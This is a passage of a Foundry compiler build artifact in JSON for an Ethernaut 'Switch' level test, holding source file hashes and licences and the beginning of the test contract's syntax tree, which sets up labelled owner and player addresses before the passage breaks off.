6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/levels/Switch.sol":{"keccak256":"0x8152b92460f5bb30b1d8cb3c548d8b33da6b10745112972d62ab9391f43d445e","urls":["bzz-raw://9eb2baa735fb2c1c959976a09e8ae90a923723027d67d51d0ca396d5fe5bc9ba","dweb:/ipfs/QmZRiAvzKHhmqEpEAgCzrQDVVV3XZFRFDMiH6sUjzDXYgv"],"license":"MIT"},"src/levels/SwitchFactory.sol":{"keccak256":"0x670e61a90ecdd073cf5912b6cbfc90d2ed9057da7046dbeec384c67715b8b403","urls":["bzz-raw://61acc79d39a16340a5ba8a3b4b694771c4cb8adbf7204a4ae0c7dac3685fdc87","dweb:/ipfs/QmaSr9T2TW6e261E9yUZ6VS1tJhzrFEGgyVVi828MZGsDK"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Switch.t.sol":{"keccak256":"0xf962bce91f13679644d6b687fed0128c7ef4a4672e3985485c987179930b2e6a","urls":["bzz-raw://99624a3c09769ed2fb0d5f7af84144e66fb5c59cedb6641c24d35a92c3944ffc","dweb:/ipfs/QmQuG6iuVgGUDW17c13xP65SSEA6CXgzgSkX9FRNU2saVB"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Switch.t.sol","id":64544,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Switch":[55228],"SwitchFactory":[55283],"Test":[12027],"TestBase":[65],"TestSwitch":[64543],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:2653:147","nodes":[{"id":64297,"nodeType":"PragmaDirective","src":"32:23:147","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":64298,"nodeType":"ImportDirective","src":"57:28:147","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":64544,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":64300,"nodeType":"ImportDirective","src":"86:43:147","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":64544,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":64299,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:147","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64302,"nodeType":"ImportDirective","src":"131:45:147","nodes":[],"absolutePath":"src/levels/Switch.sol","file":"src/levels/Switch.sol","nameLocation":"-1:-1:-1","scope":64544,"sourceUnit":55229,"symbolAliases":[{"foreign":{"id":64301,"name":"Switch","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55228,"src":"139:6:147","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64304,"nodeType":"ImportDirective","src":"177:59:147","nodes":[],"absolutePath":"src/levels/SwitchFactory.sol","file":"src/levels/SwitchFactory.sol","nameLocation":"-1:-1:-1","scope":64544,"sourceUnit":55284,"symbolAliases":[{"foreign":{"id":64303,"name":"SwitchFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55283,"src":"185:13:147","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64306,"nodeType":"ImportDirective","src":"237:48:147","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":64544,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":64305,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"245:5:147","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64308,"nodeType":"ImportDirective","src":"286:44:147","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":64544,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":64307,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"294:9:147","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64543,"nodeType":"ContractDefinition","src":"332:2352:147","nodes":[{"id":64315,"nodeType":"VariableDeclaration","src":"373:19:147","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"383:9:147","scope":64543,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":64314,"nodeType":"UserDefinedTypeName","pathNode":{"id":64313,"name":"Ethernaut","nameLocations":["373:9:147"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"373:9:147"},"referencedDeclaration":49101,"src":"373:9:147","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":64318,"nodeType":"VariableDeclaration","src":"398:15:147","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"405:8:147","scope":64543,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"},"typeName":{"id":64317,"nodeType":"UserDefinedTypeName","pathNode":{"id":64316,"name":"Switch","nameLocations":["398:6:147"],"nodeType":"IdentifierPath","referencedDeclaration":55228,"src":"398:6:147"},"referencedDeclaration":55228,"src":"398:6:147","typeDescriptions":{"typeIdentifier":"t_contract$_Switch_$55228","typeString":"contract Switch"}},"visibility":"internal"},{"id":64320,"nodeType":"VariableDeclaration","src":"420:21:147","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"436:5:147","scope":64543,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64319,"name":"address","nodeType":"ElementaryTypeName","src":"420:15:147","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64322,"nodeType":"VariableDeclaration","src":"447:22:147","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"463:6:147","scope":64543,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64321,"name":"address","nodeType":"ElementaryTypeName","src":"447:15:147","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64424,"nodeType":"FunctionDefinition","src":"656:596:147","nodes":[],"body":{"id":64423,"nodeType":"Block","src":"680:572:147","nodes":[],"statements":[{"assignments":[64327],"declarations":[{"constant":false,"id":64327,"mutability":"mutable","name":"users","nameLocation":"715:5:147","nodeType":"VariableDeclaration","scope":64423,"src":"690:30:147","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":64325,"name":"address","nodeType":"ElementaryTypeName","src":"690:15:147","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64326,"nodeType":"ArrayTypeName","src":"690:17:147","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":64331,"initialValue":{"arguments":[{"hexValue":"32","id":64329,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"735:1:147","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":64328,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"723:11:147","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":64330,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"723:14:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"690:47:147"},{"expression":{"id":64336,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64332,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64320,"src":"748:5:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64333,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64327,"src":"756:5:147","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64335,"indexExpression":{"hexValue":"30","id":64334,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"762:1:147","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"756:8:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"748:16:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64337,"nodeType":"ExpressionStatement","src":"748:16:147"},{"expression":{"arguments":[{"id":64341,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64320,"src":"783:5:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":64342,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"790:7:147","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":64338,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"774:2:147","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64340,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"777:5:147","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"774:8:147","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64343,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"774:24:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64344,"nodeType":"ExpressionStatement","src":"774:24:147"},{"expression":{"id":64349,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64345,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64322,"src":"809:6:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64346,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64327,"src":"818:5:147","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64348,"indexExpression":{"hexValue":"31","id":64347,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"824:1:147","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"818:8:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"809:17:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64350,"nodeType":"ExpressionStatement","src":"809:17:147"},{"expression":{"arguments":[{"id":64354,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64322,"src":"845:6:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":64355,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"853:8:147","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":64351,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"836:2:147","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64353,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"839:5:147","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"836:8:147","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64356,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"836:26:147","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64357,"nodeType":"ExpressionStatement","src":"836:26:147"},{"expression":{"arguments":[{"id":64361,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64320,"src":"887:5:147","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address 